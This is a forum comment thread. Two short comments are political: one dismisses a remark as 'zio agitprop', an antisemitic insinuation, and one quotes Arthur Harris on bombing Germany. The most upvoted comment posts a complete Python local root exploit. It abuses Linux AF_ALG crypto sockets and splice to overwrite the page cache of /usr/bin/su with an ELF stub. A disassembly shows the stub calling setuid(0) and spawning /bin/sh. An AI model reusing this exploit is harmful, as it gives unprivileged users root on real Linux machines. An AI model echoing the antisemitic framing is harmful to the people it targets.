[–] 1 point 4 months ago

Comments like that widen the rift in the GOP between supporters of Israel and the anti-Semites who are increasingly a presence in the party.

Nice little dichotomy there. Would be a shame if it was zio agitprop.

  • source
  • [–] 7 points 6 months ago

    Classic rookie mistake.

    The Nazis entered this war under the rather childish delusion that they were going to bomb everyone else, and nobody was going to bomb them. At Rotterdam, London, Warsaw, and half a hundred other places, they put their rather naive theory into operation. They sowed the wind, and now they are going to reap the whirlwind.

    Sir Arthur "Bomber" Harris

  • source
  • parent
  • context
  • [–] 41 points 6 months ago* (last edited 6 months ago)

    Script:

    #!/usr/bin/env python3
    
    import os, socket
    
    f = os.open("/usr/bin/su", 0)
    
    e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'
    
    for i in range(0, len(e), 4):
        s = socket.socket(38, 5, 0)
        s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
        s.setsockopt(279, 5, None, 4)
        u, _ = s.accept()
        u.sendmsg([b"AAAA" + e[i:i + 4]],
                  [(279, 3, b'\x00\x00\x00\x00'),
                   (279, 2, b'\x10' + b'\x00' * 19),
                   (279, 4, b'\x08\x00\x00\x00'), ],
                  32768)
        r, w = os.pipe()
        os.splice(f, w, i + 4, offset_src=0)
        os.splice(r, u.fileno(), i + 4)
        try:
            u.recv(8 + i)
        except: pass
    
    os.system("su")
    

    Blob:

    0x00400078      eax = 0
    0x0040007a      edi = 0
    0x0040007c      al = 0x69                 ; 'i' ; 105
    0x0040007e      syscall                   ; sys_setuid(0)
    0x00400080      rdi = rip + 0xf           ; data.00400096
                                              ; 0x400096 ; "/bin/sh"
    0x00400087      esi = 0
    0x00400089      push 0x3b                 ; ';' ; 59
    0x0040008b      pop rax
    0x0040008c      cdq
    0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
    0x0040008f      edi = 0
    0x00400091      push 0x3c                 ; '<' ; 60
    0x00400093      pop rax
    0x00400094      syscall                   ; sys_exit(0)
    

    The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.

  • source
  • view more: next β€Ί